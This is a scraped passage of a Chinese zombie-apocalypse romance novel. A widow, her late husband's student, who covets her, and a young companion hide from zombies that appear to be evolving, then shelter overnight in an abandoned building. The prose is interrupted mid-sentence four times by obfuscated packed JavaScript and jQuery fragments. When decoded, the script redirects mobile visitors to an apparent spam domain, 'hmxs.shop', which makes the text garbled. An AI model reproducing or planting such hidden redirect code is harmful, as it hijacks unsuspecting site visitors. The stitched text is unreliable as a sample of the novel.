迟椿背靠着他，整个人也团缩着，与他严丝合缝地贴在一块儿。 当她的背贴上他胸膛时，甚至能感觉到透过衣服布料传递而来的，重重的心跳。 这姿势让人胸闷气短，她忍不住吃力喘了下。 下一秒，她的嘴就被捂住。 温热的掌心压在她唇上，颊肉也被挤压得微微变形。 松游几乎环抱住她，脑袋抵在她肩颈处，一手捂住她嘴，另一手伸过去关上柜子。 最后一丝光线被隔绝在外。 她听见他耳语道：“呼吸声，要轻一点。” 迟椿小幅度点了下头。 松游没有挪开手，她也没察觉到这微妙的异样，注意力全在柜子外的丧尸上。 外面的动静逐渐小下去，那些丧尸不再兴奋嘶嚎，挤过窄门，在昏暗的小超市里茫然搜寻着活人。 迟椿听见丧尸的脚步声，像是拖着步子走的，慢吞吞从柜门外经过。 她不敢动，呼吸也屏死了，只有实在忍不住的时候，才小心翼翼呵出一点气息。 虽说丧尸的身躯僵硬到很难躬下来，干瘪简单的大脑也不足以支撑他们作出类似于“要打开柜门”的思考，可他们对活人的气息敏锐，万一到时候一大堆丧尸挤在柜子前面，那他们想跑都难，只能活活憋死在这里面。 想到那情景，迟椿打了个寒噤，将呼吸压得更死。 松游也尽可能憋着呼吸。 他埋在她后肩颈上，偶尔憋不住气时，便能闻见一点淡淡的洗衣粉味道。 松游的唇角压得平直。 她和老师身上的气味很相似。 原因简单，末世里经常撞上没法使用电器的情况，因此这几年不论冬夏，她的衣服通常都是老师手洗的。 衣服是，人也是。 他的思绪飘忽，想起去年夏天，他们逃到了一个偏僻的镇子，住在家废弃的民宿里。 晚上他起来的时候，他俩还没睡，大概是在洗澡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774174|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他鬼使神差停在门口，听见里面模糊的说话声。 是老师的声音。 平时看起来格外稳重的男人，那会儿说话却有些哑哑的，伴着沉重的喘息：“要老公帮你洗，这样才会有一模一样的气味。” 迟椿的声音也不同于往日，似有若无哼喘着，带着压抑的颤：“用一样的洗发水、沐浴露还不够吗？” “不够，不够……”他像在亲她，说话都变得含糊不清，“小椿，这里也要洗。” “刚才已经洗过了。”她嗓音更抖，像是在经历难以承受的快意。 “是小椿自己洗的吧，再帮你洗一遍好不好，嗯……让老公舔干净好不好？” 耳畔传来丧尸嘶哑的嚎叫，松游突然回神。 他将脸埋得更低，高挺的鼻尖抵在她颈侧，感觉到动脉的微弱跳动。 扶在柜边的手悄然垂下，在一片昏暗中找着她的手，圈握住。 他摸着了那枚戒圈。 冰冷，硌得他指腹略微发痛。 他拢起手，指尖抵进戒圈与手指的狭窄缝隙里，稍一用力，戒圈就被他推开一点。 被他捂住的嘴忽然张开些许，呵出暖热的吐息。 他掌心发痒，尤是在感觉到她的唇瓣时，整条胳膊都开始僵麻。 与此同时，迟椿反握住他的手，指腹轻轻压了两下他的手背，像极无声的安抚。 松游身子躬得更低，将她整个儿抱住，略长的头发扫过她脖颈，有些刺痒。 迟椿一动不动。 他的胸膛热腾腾的，紧紧贴着她的背，覆着肌肉的胳膊也是，带着股蓬勃的劲儿，牢牢箍着她。 但她只有片刻在意，心思就跑到了别处。 刚才为了躲起来，她把背包丢在了外面。 那只畸形种还在里面。 她仔细听着，试图通过声音分辨背包有没有被丧尸踢走。 外面声音杂乱。 走动声、丧尸的嘶嚎与碰撞声混在一块儿，实在难以分辨。 她只能默默等待。 好在这些丧尸没有发现柜子里的活人。 没一会儿，外面的动静就小下去。 再过半小时，连走动声都听不见了。 两人又耐心等了十分钟，确定没有任何声音了，才准备出去。 松游抬起僵硬的脖颈，小声与她说：“别动。” 暖热的吐息扫过耳畔，有些痒，迟椿忍着别开脑袋的冲动。 他将柜门缓慢推开一条缝儿。 外面光线昏暗，但两人在这黢黑柜子里待了大半个小时，对他们来说，这点光线已经足够视物了。 他俩仔细观察着外面。 昏暗的小超市里弥漫着一股腐尸的臭味，却看不见丧尸的身影。 迟椿忽然推开他手，侧过脸，附在他耳畔轻声说：“刚才看见柜子角里有颗螺丝。” 松游揉了把发烫的耳朵，从角落里摸出那颗螺丝，打柜子门缝中丢了出去。 螺丝在半空划出道银亮的弧。 两人都专心盯着那枚螺丝，一只皮鞋却忽然闯入视线，踩在了柜门前。 鞋面已经皲裂，挂着结块的血迹，还有些不明显的碎肉。 迟椿呼吸一滞。 松游也屏死了气息，下意识抬手，重新压在她嘴上。 7.第 7 章 螺丝掉落在地，砸出清脆声响。 皮鞋停在了储物柜前。 “嗬——嗬——” 是具丧尸。 他发出断断续续的声响，在一片死寂中格外刺耳。 以防被发现，迟椿和松游都没动，更不敢去关那扇半开的柜门。 他俩屏住呼吸，紧盯着那双破旧的皮鞋。 皮鞋一动不动，鞋尖朝左。 忽地！柜门外响起阵声音。 “咔嚓——” “咔嚓——” 清脆利落，听起来像是骨头折断的声音。 迟椿的心脏骤然紧缩，也顾不得屏声敛息了，直接掏出匕首。 几乎是她将刀尖对准外面的同时，那具丧尸折断身躯，硬生生“弯”下腰，看向柜子里面。 一张干瘦青白的脸猝然出现在眼前，迟椿直接捅向他面中。 “嗬——嗬——”丧尸痛苦嘶嚎着，伸出尖利的爪子乱刨。 松游及时掌住迟椿的胳膊，助力往前一推，再一搅。 发黑的淤血溅出，丧尸住了声，瞳孔涣散，倒在地上。 迟椿大喘着气，手僵抬在半空。 看见刀尖上凝固的黑血，她直犯恶心，想吐。 可她吐不出，脑中也一片空白，只反反复复盘旋着一个疑问—— 以前那些丧尸能像这样折断身躯，看低处的东西吗？ 松游也察觉到异样，与她耳语道：“刚才这具丧尸有些不对劲。” 迟椿摸了把惨白冰冷的脸，好一会儿才出声：“会不会和那几个异能者说的事有关？” “他看起来和其他丧尸没什么两样，也照常可以通过攻击脑部杀死他。” “但是他好像……”迟椿思索着合理的说法，“会思考。” 两人一时沉默，最终还是松游说：“先找个安全的地方吧，继续留在这里很危险。” 迟椿点点头。 这次她直接扯下丧尸的皮鞋，丢掷出去。 几分钟过后，他俩没等到丧尸的动静，反而听见林叙闻压着嗓音喊：“小椿姐，小椿姐！你在哪儿？” 迟椿探出脑袋，左右张望两眼，在角落里捕捉到林叙闻的身影。 林叙闻也看见了她，急忙上前。 他踢开挡在柜子前的丧尸尸体，一把握住迟椿的手，往外拉：“小椿姐，你还好吗，有没有受——” 突然，他住了声，看见和她一起缩在柜子里的松游。 “你怎么也在这儿？”他语气很冲。 松游觉得他这问题简直有些白痴，也懒得理他，直接钻出柜子。 在柜子里塞得太久，两个人都浑身僵硬发麻，他活动着胳膊，顺手捡起背包。 他顿住，掂了掂。 迟椿看见，问他：“怎么了？” “好像比之前重了点。” “光你刚才装的几瓶能量饮料，也有些重量了。”迟椿捡起自己的包，看向地上的几大袋散装零食，“倒没白躲一趟，找到了不少吃的——叙闻，生活用品怎么样？” 林叙闻：“找到了两瓶酒精，一箱固体酒精，一些没拆封的洗漱用品，还找到了绳子和蜡烛，不过都没来得及整理。” 迟椿：“那尽快吧，趁天还没黑。” “好！”林叙闻转身离开。 这之后，她和松游又在柜子里翻出不少吃的。 都是些没来得及上架的散装零食，胜在种类多，还有面包一类充饥效果好的食物。 柜子里有不少麻袋，容量比背包大得多，他俩也不贪心，估摸着用麻袋装了三天的量。 等他们仨整理好物资，太阳已经西斜。 昏黄的夕阳斜压进来，照亮了一方角落。 三人分散站在小超市里，忽然不约而同抬起头，眯着眼看向那轮不算刺眼的，温暖的夕阳。 几秒后，林叙闻听见声微弱的嘶叫。 他对这声音已经有些应激，登时喉咙发干，手控制不住地抖，后背也在冒冷汗。 明明已经听见声音，可他仍然固执盯着挂在墙上的一沓方便袋，好像这样就能看不见那些东西。 但有人拉住他的胳膊。 他一颤，倏地回神。 是迟椿，她只扯了他一下，便松开手说：“快走，那边也有丧尸来了，往楼上躲。” 林叙闻松开攥得汗涔涔的手，僵硬点头，跟上她。 三人摸黑上楼，一路上小心翼翼，不敢发出半点声响。 好在这回没撞上丧尸，二楼门没锁，进了屋他们才发现，这是供学校学生吃饭的托管机构，桌上还摆放着已经发霉腐烂的食物。 迟椿想起来，刚才那些冲下楼的丧尸，也大多穿着统一的校服。 她盯着那些腐烂到看不出原样的餐盘，有些失神。 直到林叙闻叫她：“小椿姐，我们不回去吗？” 迟椿看他：“外面来了不少丧尸，估计是刚才那些东西撞倒货柜，弄出了声音，把他们引过来了。一时半会儿走不了，与其冒险，不如在这里躲一晚上。” 说话间，松游走到窗边，将窗帘拉开一点缝隙。 楼下已经来了不少丧尸，步伐杂乱，漫无目的。 他松手，窗帘合拢，隔绝了所有光线。 他们已经习惯偶尔住在外面，很快就各自行动起来。 迟椿仔细搜寻了整个屋子，确保房间里没有丧尸，仍不放心，拖了些重物挡住大门。 林叙闻负责打扫卫生，有些垃圾已经脏到没法碰了，好在他有异能，可以隔空移物，打扫起来也方便。 松游则去收拾房间。 这家托管机构很大，除了客厅厨房，还有六七个房间。 他找到较为干净的三间，供他们晚上休息。 等他们收拾完，天已经彻底黑了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777055|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 迟椿记挂着包里的畸形种，回房就散开背包。 包里的木盒看起来完好无损，盒盖却翘起一点。 她心一沉，打开盒子。 里面空无一物。 迟椿神情不变。 她取出盒子，在包里翻找。 但没有。 根本没有畸形种的身影。 迟椿静坐在床边，手压着盒盖，一动不动。 房中死寂无声，昏暗的夜色将她涂抹成一座静默的雕塑。 忽然，她放下背包，起身，快步往外走，敲响了对面的房门。 不一会儿，门打开。 “迟椿？”松游将门拉得更开，“有什么事吗？” “我——”迟椿的视线在他脸上游移着，最终停在那稍长的额发上，“叙闻找了一些剪子。” 松游点头：“虽然短了点，但实在没办法的时候，也能用来防身。” 迟椿问他：“趁这些剪子还没用，要不要剪一下头发？” 松游碰了下额发，别开眼神，扯出个不太自然的笑：“……是有些长了。” 末日也没理发店，因此刚开始他和老师头发一长，就会自己随便剪两下。 但大概是剪出来的发型丑得出奇，过了两回，迟椿把他俩叫在一块儿，温温柔柔地说：“有时候看见你们的头发，比遇上丧尸还难受，以后不要擅自动它，我帮你们剪，好吗？” 从那以后，他和老师的头发就由她亲手打理了。 迟椿说：“你先坐着，我去拿剪子。” 他点头，坐在床边，身躯僵硬绷直。 迟椿找到剪子，顺便拿了条自己的毛巾，再回来时，她环视一周，看见了角落里的背包。 背包拉链拉开一点，正轻轻晃动。 她收回视线：“刚才直接说了剪头发的事，也忘了问你有没有在忙什么。” “没事，”松游盯着地面的砖缝，“光线有点暗，打算找根蜡烛。” “那正好，”迟椿笑笑，“蜡烛在你包里吧，我拿根出来，可以吗？” “嗯。” 她转身往角落走，突然发现背包的拉链晃动得更快。 迟椿三步并作两步，上前一把拉开拉链。 昏暗中，一团畸形的肉物缓慢蠕动着，在背包里拱来拱去。 “……” 真是团不可多得的丑物啊。 “不、要、动。”她做着口型。 畸形种果然不动了。 粉色的肉蠕动着，逐渐扭曲出两个模糊的轮廓，像是眼睛，巴巴“望”着她。 迟椿伸出手，下意识想摸它的“头”。 畸形种往上拱了点，似是要回应。 但看见它丑乎乎的恶心模样，她顿住，到底摸不下去。 她错开，抓起它旁边的蜡烛，收回手。 小怪物默默缩回去，摊成一张饼。 8.第 8 章 迟椿拉上拉链，点燃蜡烛。 她一贯有耐心，帮人剪头发也不例外。 就着昏黄的烛光，她先把毛巾围他脖子上，又垫了层塑料袋，便仔细修剪起他的头发。 修剪额发时，松游闭着眼睛。 细碎的头发掉落在他的眼睫、鼻梁上，带来轻轻柔柔的刺痒。 他的眼睫颤了颤。 一时间，他只能听见剪刀的咔嚓轻响。 “我想……”他忽然开口。 “什么？”迟椿停下。 “要是老师也在这儿，肯定会说他来剪，老师对你——”他住声，忽然睁开眼，眸中掠过点慌意，“对不起，我不是有意提起，我只是——嘶……” 忽地，他右眼一阵刺痒，刺激得他忍不住眨动眼睛，想抬手去揉。 “别乱揉。”迟椿捧住他的脸，略微往上抬，“估计是有头发掉进眼睛里面了，我看一看。” 松游半睁着眼，眼前的光影景象全都模糊不清，唯有那双透亮温柔的眼眸清晰可见。 刺激所致，他忍不住鼻头发酸，右眼渐被泪水洇透。 “很疼吗，都哭了。”迟椿用指骨碾了下他的眼尾，擦去泪水，同时撑开他的眼皮，仔细找着碎发。 她陡然靠近，松游屏住呼吸，背也绷得紧。 他说：“不是，只是……有些痒。” 迟椿找到那根戳进他眼睛的碎发，用纸巾一角小心往外沾。 “刚才的事，没必要道歉。并不是因为他死了，就成了不能提起的忌讳。”她弄出了那根碎发，与他双目相接，笑说，“如果连活着的人都不再聊起他，反而才是真的死了。多聊聊他，也不是什么坏事。” 松游怔住，那滴被刺激出来的泪水恰好落下，在面颊上划出道浅浅的痕。 “师母你——”他近乎喃喃地问道，“和老师认识很久了吗？” “认识了六七年，也不知道算不算久？” “六七年……很久了。”松游抿紧唇，强忍着没流泻出其他情绪，“应该是刚接触不久就喜欢了，然后顺理成章结婚了吧。师母喜欢他哪一点？是因为哪一点才下定决心和他交往？脸吗？那张脸也算不错，还是性格？老师的确稳重，可——” 他自顾自说到一半，忽然惊觉这些话实在冒犯人，眼皮一跳，倏然看她。 但迟椿的眼神中没有责怪。 她甚至没有看他。 她低着头，摸着那把银剪子，脸上流露出近似怀念的神情。 “他是个很好的人。”许久，她下了定论。 ——她在想他。 这念头从心头掠过的瞬间，松游到底没控制住表情，面部肌肉微微抽动，眉眼间显露出些许郁气。 好在他还没发昏，忍着没说出诸如“他都死了，死人就该老老实实躺在地底下”的难听话。 “嗯，”他神情有些麻木，“老师是很好。” 迟椿笑了笑：“闭上眼睛吧，还有一点没剪完。” 松游垂下眼帘。 许久，迟椿扫净掉落在他脸上的碎发：“好了。” 她对自己的手艺很满意，捧着他的脸左右仔细检查。 松游缓缓睁眼，颊肉被她捏得有点疼，但他没说。 他记得每次她帮老师剪完头发后，老师都会很温柔地说着谢谢，再捧住她的脸亲她。 大概是顾及到旁边还有人，这样的亲吻每次仅是浅尝辄止，一个蜻蜓点水般的啄吻便结束了。 可当老师洗完头发，她给他递毛巾时，他便会将她抱坐在洗手台上，要温吞吮着她的唇，要勾着她舌尖，缓慢厮磨。 松游的视线落在她唇上，心不在焉地想，她会喜欢接吻吗？ 应该是喜欢的吧。 毕竟每次都要亲到两个人的嘴唇都微微泛肿了，才会停下。 而他俩似乎把他当成个什么都不懂的小孩儿，从不刻意防他。 却没想过，但凡是个人都知道他俩做了什么。 他恶劣地想，第一次撞上这些事的时候，就应该直接告诉老师。 告诉老师他看见了也听见了，告诉他只要她愿意，他也能亲她舔她，不会比他差到哪里去。 他实在想象不出老师会是什么表情，但肯定能把他气成个疯子，丢掉平日里一切儒雅作派，和他打上一架。 再往后，老师大概不会将此事宣之于众，更不会告诉她，有什么样的眼神在背后窥伺着她。 那个男人只会用些温和的手段，想办法赶走他，又或千方百计提防他。 但没关系。 他只需要捂着伤口去她那儿卖卖惨，装可怜，照样能得到她的温柔对待。 可惜老师死的时候他不在身边，不然他乐于做这个坏人。 想到这儿，松游用指骨碾了下眉峰。 微弱的痛感让他回神。 真是…… 他的脑子也像是被丧尸啃过一样坏掉了，竟然把一个早就死了的人视作敌手。 “是眉毛上沾了头发吗？”迟椿取下围在他颈边的毛巾和塑料袋，“别乱揉，小心再弄进眼睛里面，可以用水洗一洗。” “师母。”松游忽然叫她，像怕她走一样，竟抬起两条胳膊环抱住她腰身。 迟椿垂眸：“松游？” “嗯。”松游将脸埋在她小腹上，闷声应道。 片刻，他略微仰头，露出双漆黑的眼瞳，显露出少有的依赖性。 “怎么了？”迟椿托住他面颊，指腹摩挲着温热的颊肉。 他欲言又止，最终还是问出口：“如果当时被咬的是我，你会不会开心一点。” 迟椿手一顿：“别为一些已经过去的事耗费心神。” 松游怔神，须臾，他又埋着脸，闷声说道：“不要讨厌我。” “怎么会呢？”迟椿笑了笑，捏住他发烫的耳朵，指腹轻轻揉搓着。 等她要走时，他忽然扯住她手里的毛巾。 毛巾绷直，她停下看他。 松游说：“我要去洗头发，顺便帮你洗毛巾。” “不用，有塑料袋垫着，毛巾上也没沾多少碎发，随便搓两把就行了。” “可是剪头发就已经够麻烦师母了。”他稍顿，“而且之前就想说，这些事一直是老师一手操办，但现在他不在了，师母突然自己来做，也会不习惯吧——让我帮忙分担一点，可以吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785970|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者作为剪头发的答谢。” 两人僵持着，最终迟椿松开手：“随便洗一洗就好。” 松游颔首。 自来水早就停了，但这所托管中心有饮水机。 时间太久，饮水机上的小半桶水没法用，好在还有一桶没拆封的。 这水也没法全带走，他们匀出一部分带回去，剩下的用来饮用和洗漱。 他站在洗手台边，始终没把毛巾浸进水里，而是一言不发地看着。 她不喜欢花样繁复的东西，毛巾也是简单的素白色。 他记得老师曾经打趣她即使在末世，喜好也始终如一，不论毛巾还是衣服，都以白色为先。 她答说白色干净，而且沾上任何一点污垢，都能轻易发现。 他忘记老师说了什么，只模糊记得那场对话似乎并不愉快。 松游盯着手中的东西。 半晌，他捧起那条松软的毛巾，将脸深深埋进去。 他的鼻尖似有若无地轻蹭，好像在蹭她的脸一样。 他想，可以从这条毛巾开始，他俩也会拥有同一种气息。 “松游？” 松游一怔，偏头看去。 林叙闻出现在门口，不可置信地看着他，又看他手里那条毛巾。 “你干什么？”他大惊失色，有些磕巴，“那是小椿姐的东西？你、你做什么，你刚才，你——你怎么能那样？！” 松游面无表情看着他：“我哪样？” “就是那——那——”林叙闻紧皱起眉，“松游，你恶不恶心，小椿姐是你老师的妻子，他就算死了，你怎么能……而且，而且还——难怪，难怪你整天跟着小椿姐，嘴上说什么帮你老师照顾她，其实纯粹是因为脑袋里那些龌龊念头吧！你，你要不要脸，你——” 松游也不作声，就听着他骂，眉眼在夜里显得格外阴沉。 他甚而有闲心想，这人不光过分保守，在秩序完全崩溃的末世讲究伦理道德，还幼稚愚笨，只会翻来覆去骂他“恶心”“不要脸”，除此之外，再搬不出其他新鲜词汇。 等林叙闻找不出其他话骂他，停下来喘息时，松游反问：“骂完了？” 林叙闻大喘着气，愣愣的：“什么？” “我是问你，骂完了没有。”松游有些不耐烦，“我还要帮她洗毛巾，骂完了就走，不要打扰我。” 林叙闻更难相信：“你就一点都不自责？一点都不羞愧？” “你说的都是事实，我为什么要自责羞愧。” “你！”林叙闻一口气梗在心里，不上不下，他转身，“好，好！那我就去告诉小椿姐，也让她看清楚你到底是什么货色！” 他走出好几步，身后没有动静。 他偏头，看见松游还站在洗手台前，一动不动。 “你不拦我？”他问。 “拦？”松游微微冷笑了声，“我拦你做什么，你如果打定主意想说，我拦你又有什么用。只是不知道，你到底是担心她，还是因为好不容易找到了一个自以为能铲除对手的机会。” 林叙闻脑子嗡的一声：“你说什么？” 松游却低头洗起毛巾，懒得再搭理他。 9.第 9 章 林叙闻有种被戳穿心事的难堪，脸涨得通红，语无伦次道：“你威胁我！你以为我不敢说？” “那你去说吧。” “去就去，你以为我不敢？”林叙闻恰好听见迟椿房间里传来动静，转身就往那儿走。 松游睨他一眼：“她不在那里面。” “我会信？我又不是聋子。”林叙闻上前敲门，刚敲一下，门就自个儿开了，他这才发现门根本没锁。 房中一片昏暗，看不着人影。 他轻声喊：“小椿姐？” 没人应他。 林叙闻听见最里面的洗手间有窸窣声响。 他没多想，以为迟椿在洗手间，就打算等一会儿。 但忽地，里头传出叮呤咣啷的声响，他心一紧，忙上前。 “小椿——”话音戛然而止。 一张已经腐烂了的，青灰色的脸庞闯入视线。 是具丧尸。 他的右肩往下塌着，右胳膊明显断了，在半空无力晃荡。 他僵硬转动着眼睛，腐烂的嘴一张一合，看起来行动迟缓。 但就在两人目光相接的刹那，他突然发出声高亢的嘶叫。 恶臭涌进鼻腔的瞬间，林叙闻呼吸骤停，可浑身肌肉发紧到做不出任何反应。 丧尸猛地扑上。 “砰——！”一根撬棍从旁边劈来，正中丧尸的脑袋，劈得他脑浆迸流。 怕他还能动，撬棍又猛砸两下，直到丧尸倒地，彻底死得干净。 林叙闻陡然惊醒，偏过头，与松游视线相对。 松游甩干净撬棍上的血：“我都说了她不在这儿，现在信了吗？” 林叙闻余惊未消，双眼惊恐睁着，大喘着气说：“刚才明明检查过，丧尸怎么会、怎么会跑到这儿来？小椿姐呢，她在哪儿？” “在我那儿。”松游越过他，进了卫生间，取出手电扫了遍。 他正观察有没有能藏丧尸的地方，忽觉背后一阵冷。 他转过身，看见了半扇打开的窗户。 林叙闻在卫生间里转了一圈，不解道：“这里面也没能藏东西的地方，那玩意儿是打哪儿蹦出来的？” 松游从窗户朝下看。 下面是一片荒芜草地，没有丧尸的身影。 他往右瞥了眼，看见排水管上抹着发黑的血迹。 林叙闻也凑上前：“你瞧什么呢？总不会是打窗户外面爬上来的吧。” “目前看来，也只有这种可能。” “你别吓我……” “晚上不分开睡了，你收好东西，也去我那儿，先去看看迟椿。”松游关上窗户，锁好。 “你刚才——”林叙闻跟着他往外走，欲言又止，“我还以为你讨厌我。” “是讨厌。”松游毫不客气地承认。 “……也是，要是不讨厌，你也不会不拦我。”林叙闻扯扯嘴角，挤出个苍白的笑，“那怎么还要帮我，毕竟死人才开不了口。” “我是讨厌你，不是蠢得没脑子。”松游冷笑，“你以为是拍电影吗，为了几句没所谓的话就要杀人灭口。” 林叙闻被他这话噎着，半晌没出声。 等他往外走了，他才三两步跟上，说：“一码归一码，就算你救了我，我也会告诉小椿姐。” “嗯。” “你不怕？” “为什么要怕，我喜欢她，早晚会让她知道。” “就算喜欢……”林叙闻抓抓脑袋，羞得脸通红，简直不好意思说出口，“你也不应该把脸埋她毛巾里啊，像个……像个变态一样，我都不敢呢。” 松游乜他。 “看什么看！”林叙闻着急忙慌越过他，“快走吧，先去看看小椿姐。万一待会儿又蹦出个丧尸，真得把我吓死。” 另一边，趁松游去洗头发，迟椿打开他的背包，一把揪出畸形种，塞回自己包里。 “我之前就告诉过你，如果有人发现你，会很麻烦，任何人都有可能把你视作一团畸形的怪物，想尽办法杀了你。”她虽然有意克制，神情间还是避免不了浮现出些许失望。 那团畸形种似乎接受不了她的眼神。 它忽然蠕动得很快，像一团沸腾的泥巴，发出咕噜咕噜的黏糊声响，仿佛下一秒就要开口说话。 但那点失望来去皆快，她表现出惯有的通情达理：“你一直是个听话的孩子，也应该听得懂我在说什么。刚才你贸然跑出去，是担心我丢下你，还是为了别的东西？” 它蠕动着，似乎想要说话。 “如果是前者……我不会丢下你，”她的手搭在盒子盖边沿，轻声许诺，“任何时候。” 畸形种扭曲出一条细长的触手，缠上她的手指，用力绞紧。 手指袭来冰冷的黏腻触感，迟椿正要抽回手，忽然察觉到异样。 她观察起那团带着黑红血纹的肉物。 她怎么感觉……好像看见了人脸？ 迟椿仔细盯着畸形种表皮的血色纹路，发现这些纹路像是模糊勾勒出了五官轮廓。 眼花吗？ 还是光线问题？ 她正要凑近细看，忽听见一阵急促的脚步声。 迟椿盖上盒盖，拉好背包拉链。 她起身时，房门正好打开。 松游快步走进房间，看见她后才松了口气。 林叙闻紧跟在他身后，一进门就警惕打量起四周：“小椿姐，你这里没什么状况吧？” 迟椿不明所以：“没，怎么了？” 林叙闻：“你房间的洗手间里有丧尸，刚巧被我撞上，差点儿就让他咬了。” 迟椿怔然：“可我检查过。” 松游径直往最里面的储物间去，检查了没有丧尸后，他才锁好窗户出来。 他说：“如果没猜错，应该是顺着排水管爬上来的。” 话落，三人都陷入沉默，神情不算好看。 “也就是说……”迟椿道，“他们……也在进化？” 林叙闻一下泄了劲儿，跌坐在床边，抱着脑袋说：“那怎么办，之前那样就够难应付了，竟然还在进化。以后要怎么对付他们，跑吗？可万一哪天跑都跑不过了，又要怎么办。” 迟椿在他身旁坐下，宽慰道：“别担心，等到安全区就好了。现在最要紧的，是带着物资平安回去。” 林叙闻抹了把冰冷的脸，点头应好。 有过刚才的经历，三人也不打算分开睡了，干脆搬来几床被褥，简单打了个地铺。 林叙闻和松游都不愿挨着彼此，迟椿便睡在了中间。 松游在左，林叙闻躺在右边。 时间一分一秒过去，迟椿久久没睡着。 她还在想畸形种跑出来的事——它一向听话，基本不会乱跑，突然离开盒子，实在奇怪。 她正想着原因，忽然听见一声轻轻的哽咽。 迟椿睁眼，循着声音往右瞥。 林叙闻背朝着他俩，蜷着身，肩膀微微耸动。 他在哭，但有意克制着，声音压得又闷又轻，很不明显。 迟椿犹豫着，手稍微动了下。 但她的左手忽然被握住。 她一愣。 下一秒，一包纸划过半空，正好砸在林叙闻的脑袋上，力道不轻，砸得他痛嘶一声。 迟椿往左偏头，看见松游闭着眼，一动不动。 林叙闻抽出张纸，胡乱擦着眼睛，还不忘说：“别告诉小椿姐。” 松游这时才睁开眼，与迟椿双目相接。 那双眼睛黑沉沉的，像是要将她网住一般。 半晌，他将她的手握得更紧，应了声：“嗯。” 迟椿没有出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792030|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 在那似有若无的哽咽声中，她逐渐来了睡意，没一会儿就打起瞌睡。 睡到半夜时，她被热醒了，睁眼一看，才发现林叙闻紧紧挨着她，松游也与她靠得很近，始终都没松开她的手。 她热得后背生汗，忍不住动了下。 松游睁开眼，像是没睡着一样。 “我们换个位置。”他说。 眼看着林叙闻越挤越近，迟椿也不客气，直接和他换了位置。 松游背对着林叙闻，把他隔离在外，近乎将她拢在怀里。 “睡吧。”他说，就像以前每晚老师待她的那样，“小椿。” * 第二天，三人收拾好物资，准备回博物馆。 这次他们绕了小路，多花了差不多半小时才赶回去。好在一路上也没撞上多少丧尸，且都是些行动迟缓的干尸。 回去后不久，有人问起了去基地的事。 问这话的是个当地的小学老师，他在二楼拦住了收集物资回来的池见衍，惊慌问道：“池先生，我们什么时候能去基地？” 池见衍笑眯眯道：“随时。” 幸存者几乎全在二楼，听见这话，都大松一气。 男老师也欣喜若狂：“太好了，太好了，那现在就能走吗？” “可以啊。”池见衍绕过他，继续往前走，与丘回说，“检测得怎么样？” 丘回：“已经进一步缩小了范围，异能者在往东四十里的宛关县。” 听见这地名，松游忽然抬眸看他。 迟椿则看向松游。 她丈夫带的学生不多，资料基本都给她看过，其中就有松游，他的籍贯好像就在宛关县。 她不确定是不是记错了，但对这地名的确有点儿熟悉。 池见衍：“继续定位。” “是！” “等、等等——！”男老师一把拉住他，“为什么还在定位异能者，不是要去基地吗？” 池见衍瞥一眼他的手，不着痕迹地拂开。 他说：“丘回，把基地的位置给他们。” 丘回用定位器调出基地的具体方位，递给男老师。 “什么意思？”男老师没接，近乎崩溃，“给我做什么，你们不一起走吗？” 池见衍语气平静：“我想我之前就说得明白，先找异能者，再返回基地。如果不赞同这一方案，可以自行离开。” “可昨天又有两个人死了，要是再拖下去，还要——” “是我杀了他们吗？”池见衍轻声打断。 男老师愣住。 “寻找异能者是为了整个基地的人考虑，我已经牺牲了两个队员，还需要继续调查丧尸的变异情况。”池见衍稍顿，“如果你把我们当作护送你安全返回基地的保镖，认为自己无法独立前往，那可以继续在这里等着，我会想办法联络基地，派人来接你们，而不是试图更改我的计划——当然，没有免费的救援，你们需要支付一些东西。” 男老师下意识问：“什么？钱吗，还是黄金？” 池见衍轻笑了声：“钱？看来你的确在外面流浪得太久。” 他的眼睛很漂亮，透着琥珀一样的光泽，又总含着笑，这使他看起来很好说话。 可他的唇边的笑并不和缓，常压着不明显的讥讽。 男老师如坐针毡，不断扶着眼镜。 丘回在旁适时补充：“目前基地内主要流通一些生活必需品和从丧尸体内取出的晶核。” “什么是晶核？”有人追问。 